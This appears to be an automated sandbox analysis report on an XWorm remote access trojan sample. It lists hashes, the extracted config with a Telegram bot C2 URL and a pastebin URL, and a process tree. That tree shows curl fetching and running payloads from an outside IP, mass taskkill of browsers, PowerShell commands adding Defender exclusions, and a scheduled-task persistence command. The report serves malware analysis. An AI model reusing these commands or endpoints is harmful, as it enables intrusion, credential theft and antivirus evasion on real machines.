Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-05-2024 07:50

General

  • Target

    efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe

  • Size

    120KB

  • MD5

    4e1e436848d533c9a00b762ac148786d

  • SHA1

    42962a264fbdbc96eb8267052298be9143ecd8bf

  • SHA256

    efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd

  • SHA512

    59d16efac5f0ea7c62d18ef30032eba907b8d6c097463a8244f3d709c85b90ec12387c94a4d8a35dfb59d0cbd2dc02d0b39a1f6bd12c5ccd050d552070fdf30d

  • SSDEEP

    3072:EV3J6kkt5h1X+HqTi0BW69hd1MMdxPe9N9uA0/+hL9TBfnPxJ:pt5hBPi0BW69hd1MMdxPe9N9uA069TBz

Malware Config

Extracted

Family

xworm

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    winlogon.exe

  • pastebin_url

    https://pastebin.com/raw/kTrgfRNT

  • telegram

    https://api.telegram.org/bot6820329388:AAG0ljIyZ1Cj86n9cgzLGNBMldBe9TtqhAM/sendMessage?chat_id=1330099235

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 15 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 50 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe
    "C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2672
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\4594.tmp\4595.tmp\4596.bat C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4652
      • C:\Windows\system32\curl.exe
        curl -s -o ram.exe http://188.212.100.57:54391/download/shell.exe
        3⤵
          PID:4936
        • C:\Windows\system32\curl.exe
          curl -s -o rm.exe http://188.212.100.57:54391/download/winlogon.exe
          3⤵
            PID:4572
          • C:\Users\Admin\AppData\Local\Temp\ram.exe
            ram.exe
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3144
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM chrome.exe /T
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1788
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM firefox.exe /T
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1692
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM brave.exe /T
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4704
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM opera.exe /T
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1112
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM kometa.exe /T
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:5076
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM orbitum.exe /T
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2252
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM centbrowser.exe /T
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1132
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM 7star.exe /T
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:552
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM sputnik.exe /T
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3256
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM vivaldi.exe /T
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1780
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM epicprivacybrowser.exe /T
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3728
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM msedge.exe /T
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2936
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM uran.exe /T
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4232
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM yandex.exe /T
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3028
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM iridium.exe /T
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3320
          • C:\Users\Admin\AppData\Local\Temp\rm.exe
            rm.exe
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1676
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\rm.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1908
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'rm.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2192
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\winlogon.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3232
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winlogon.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4540
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winlogon" /tr "C:\ProgramData\winlogon.exe"
              4⤵
              • Creates scheduled task(s)
              PID:1748
      • C:\ProgramData\winlogon.exe
        C:\ProgramData\winlogon.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:5024
      • C:\ProgramData\winlogon.exe
        C:\ProgramData\winlogon.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:4860
      • C:\ProgramData\winlogon.exe
        C:\ProgramData\winlogon.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:3540

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\winlogon.exe.log

        Filesize

        654B

        MD5

        2ff39f6c7249774be85fd60a8f9a245e

        SHA1

        684ff36b31aedc1e587c8496c02722c6698c1c4e

        SHA256

        e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

        SHA512

        1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        6d42b6da621e8df5674e26b799c8e2aa

        SHA1

        ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

        SHA256

        5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

        SHA512

        53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        da5c82b0e070047f7377042d08093ff4

        SHA1

        89d05987cd60828cca516c5c40c18935c35e8bd3

        SHA256

        77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5

        SHA512

        7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        7d9ecfe610b58440e18d2bffe5167d71

        SHA1

        7afeed064042ef5e614228f678a0c595699c3d84

        SHA256

        2c42082be2718281fe2a2bf0136bf417ff214ce7c36bc22a40d23adb1d026632

        SHA512

        017a63c4b81cd256adec796b9258fbae464d32af59cb654a81dd157e02896f50a252c25b6eac07fc6cb44a493b477e7debfaf9999c854dbd3fb34e24ef443c29

      • C:\Users\Admin\AppData\Local\Temp\4594.tmp\4595.tmp\4596.bat

        Filesize

        230B

        MD5

        abdb6860d790577e02cca5005866bbe8

        SHA1

        6c87a9e8b0b29ffe358c079a54f06dd9ef5cfb37

        SHA256

        ee13e97e15c3a2f432a7bfd3af278aa38ff88baa7652ea0bfb2e5d9bf5adb8f0

        SHA512

        1bbcf1d4540019aa392234e91e7629fd9f61240b8d7003df3404536810e639f7019a60bb74c2a08be5f855fd96923d0f8e0cdf7fa3a3d25e1e5829487a959fce

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4q2cae53.pdr.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\cards.json

        Filesize

        4B

        MD5

        37a6259cc0c1dae299a7866489dff0bd

        SHA1

        2be88ca4242c76e8253ac62474851065032d6833

        SHA256

        74234e98afe7498fb5daf1f36ac2d78acc339464f950703b8c019892f982b90b

        SHA512

        04f8ff2682604862e405bf88de102ed7710ac45c1205957625e4ee3e5f5a2241e453614acc451345b91bafc88f38804019c7492444595674e94e8cf4be53817f

      • C:\Users\Admin\AppData\Local\Temp\ram.exe

        Filesize

        7.6MB

        MD5

        2c93399e0b0fc11cd03a56fc844a4816

        SHA1

        d8a6db37b1ac3cc819b04b0f4aac7fe721f88f00

        SHA256

        081da8d5b9e21e11ae3aeafd4ac54ba2e7a45a05abb08139bc1aa0213f1ef155

        SHA512

        dea99c0a22077389f6f6662e644e47ecb55ac010881b135ada2e07ac7a5ba1d42670d52c6cd88804aa3a16783f1e1f39b23fe3f7de6030ede831a27fee30f4a8

      • C:\Users\Admin\AppData\Local\Temp\rm.exe

        Filesize

        64KB

        MD5

        a43a55c5578f61d05ce146ead83e745a

        SHA1

        83093f791120d3e74b0d0847aebc52d3c9f04078

        SHA256

        de4d28dd8c9208fe86dec1e014913f3cfefdcadf73a7adb6eb062677f5f5772f

        SHA512

        a49839e60d77003090e0c9f602a64e597648e7151d99c5096479984cee32d376c8bd425114704b9366d213d0e9494900a726dead28e0548c5b7788ad5e5cbf1d

      • memory/1676-18-0x00000000007A0000-0x00000000007B6000-memory.dmp

        Filesize

        88KB

      • memory/1908-21-0x000001CCECEC0000-0x000001CCECEE2000-memory.dmp

        Filesize

        136KB

      • memory/2192-43-0x000002791DC30000-0x000002791DE4C000-memory.dmp

        Filesize

        2.1MB

      • memory/3144-14-0x00007FF6B10C0000-0x00007FF6B18F3000-memory.dmp

        Filesize

        8.2MB

      • memory/4540-66-0x0000027072690000-0x00000270728AC000-memory.dmp

        Filesize

        2.1MB